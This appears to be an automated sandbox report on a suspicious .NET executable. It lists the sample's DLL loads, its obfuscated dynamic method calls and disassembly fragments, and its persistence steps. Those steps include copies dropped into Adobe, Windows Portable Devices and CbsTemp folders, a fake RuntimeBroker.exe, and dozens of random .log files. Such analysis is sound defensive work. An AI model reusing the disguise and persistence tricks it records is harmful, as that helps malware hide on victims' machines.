Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: ktmw32.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: amsi.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: winnsi.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: rasapi32.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: rasman.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: rtutils.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: mswsock.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: winhttp.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: winmm.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: winmmbase.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: mmdevapi.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: devobj.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: ksuser.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: avrt.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: audioses.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: powrprof.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: umpdc.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: msacm32.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: midimap.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: edputil.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: dwrite.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: windowscodecs.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: ntmarta.dll
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll

Source: C:\Users\user\Desktop\lEwK4xROgV.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\lEwK4xROgV.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Directory created: C:\Program Files\Common Files\Adobe\HelpCfg\en_US\kOfFkekrfoWUJKTEEHXqPfq.exe			Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Directory created: C:\Program Files\Common Files\Adobe\HelpCfg\en_US\97e8683a328693			Jump to behavior

Source: lEwK4xROgV.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: lEwK4xROgV.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: lEwK4xROgV.exe

Static file information: File size 3966976 > 1048576

Source: lEwK4xROgV.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x3c8000

Source: lEwK4xROgV.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: WINLOA~1.PDBwinload_prod.pdb source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3107325502.000000001B99D000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: lEwK4xROgV.exe, ---.cs	.Net Code: Type.GetTypeFromHandle(_008B_0093_009A._0094_0098_0094(16777427)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(_008B_0093_009A._0094_0098_0094(16777247)),Type.GetTypeFromHandle(_008B_0093_009A._0094_0098_0094(16777261))})
Source: kOfFkekrfoWUJKTEEHXqPfq.exe1.0.dr, ---.cs	.Net Code: Type.GetTypeFromHandle(_008B_0093_009A._0094_0098_0094(16777427)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(_008B_0093_009A._0094_0098_0094(16777247)),Type.GetTypeFromHandle(_008B_0093_009A._0094_0098_0094(16777261))})
Source: RuntimeBroker.exe.0.dr, ---.cs	.Net Code: Type.GetTypeFromHandle(_008B_0093_009A._0094_0098_0094(16777427)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(_008B_0093_009A._0094_0098_0094(16777247)),Type.GetTypeFromHandle(_008B_0093_009A._0094_0098_0094(16777261))})

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Code function: 0_2_00007FFD9B8B4430 push esp; ret	0_2_00007FFD9B8B4431
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Code function: 0_2_00007FFD9BAA3D23 push ebp; retf 5D7Ch	0_2_00007FFD9BAA3F58
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Code function: 0_2_00007FFD9BAABF4C push ss; ret	0_2_00007FFD9BAABF4F
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Code function: 0_2_00007FFD9BAACA59 push 0000007Bh; iretd	0_2_00007FFD9BAACA5B
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Code function: 0_2_00007FFD9BB55CF1 push ss; iretd	0_2_00007FFD9BB55CF7
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Code function: 0_2_00007FFD9BF1C0AF pushad ; ret	0_2_00007FFD9BF261CD
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Code function: 0_2_00007FFD9C221DA1 push ecx; iretd	0_2_00007FFD9C221DA2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B78D2A5 pushad ; iretd	1_2_00007FFD9B78D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B973FF8 push eax; iretd	1_2_00007FFD9B974001
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B972316 push 8B485F92h; iretd	1_2_00007FFD9B97231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B75D2A5 pushad ; iretd	2_2_00007FFD9B75D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B942316 push 8B485F95h; iretd	2_2_00007FFD9B94231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B75D2A5 pushad ; iretd	4_2_00007FFD9B75D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD9B942316 push 8B485F95h; iretd	4_2_00007FFD9B94231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD9B78D2A5 pushad ; iretd	8_2_00007FFD9B78D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD9B972316 push 8B485F92h; iretd	8_2_00007FFD9B97231B
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Code function: 16_2_00007FFD9B894430 push esp; ret	16_2_00007FFD9B894431
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Code function: 16_2_00007FFD9BA83D23 push ebp; retf 5D7Eh	16_2_00007FFD9BA83F58
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Code function: 16_2_00007FFD9BA8BF4C push ss; ret	16_2_00007FFD9BA8BF4F
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Code function: 16_2_00007FFD9BB35CF1 push ss; iretd	16_2_00007FFD9BB35CF7
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Code function: 16_2_00007FFD9BEFC0AF pushad ; ret	16_2_00007FFD9BF061CD

Persistence and Installation Behavior

Drops executable to a common third party application directory

Source: C:\Users\user\Desktop\lEwK4xROgV.exe

File written: C:\Program Files\Common Files\Adobe\HelpCfg\en_US\kOfFkekrfoWUJKTEEHXqPfq.exe

Jump to behavior

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\PmOjGTOT.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\AGJFDLPU.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\kGnywIde.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\ojlgiVNo.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\YHzZGaLE.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Program Files\Common Files\Adobe\HelpCfg\en_US\kOfFkekrfoWUJKTEEHXqPfq.exe	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\fsiyTJhB.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\bCsHMMhI.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\evHqyJTG.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\kokPbpXu.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\zPgEnxiR.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\rlYPDESj.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\rURxpiYh.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\MBiTzGEa.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\hlxhFGTz.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\lpgghmkb.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\Mjflenyr.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\LsClOaRo.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\WghbylMW.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\LEHLeGpf.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\GFkmldBA.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\gTVzTLOq.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\ucOGKASd.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\uXAwROpJ.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\Default\AppData\Roaming\RuntimeBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\OpmblTzY.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\gBOhFpUn.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\CJjVexLG.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Windows\CbsTemp\kOfFkekrfoWUJKTEEHXqPfq.exe	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\hvVhpsmw.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\fJpQiebD.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\EGTLBrur.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\dQjRxcKu.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\ThTkHCsg.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\wRGvCRHS.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\bKbarvIN.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\JqQCtqMt.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\smUfKBeQ.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\UiPBOzEN.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\upHOgkjL.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\ZVhzqwUB.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\WkCjjiJI.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\yfxFnhjF.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\GqCLBHtD.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\yOqmYLpC.log	Jump to dropped file
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File created: C:\Users\user\Desktop\sizXZEhe.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\EYaePNot.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\NjoTfhRh.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\bOwictFz.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\vOcwhcWM.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\BVovudjy.log	Jump to dropped file

Source: C:\Users\user\Desktop\lEwK4xROgV.exe

File created: C:\Windows\CbsTemp\kOfFkekrfoWUJKTEEHXqPfq.exe

Jump to dropped file

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\NjoTfhRh.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\vOcwhcWM.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\YHzZGaLE.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\bOwictFz.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\yOqmYLpC.log	Jump to dropped file
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Users\user\Desktop\gBOhFpUn.log	Jump to dropped file
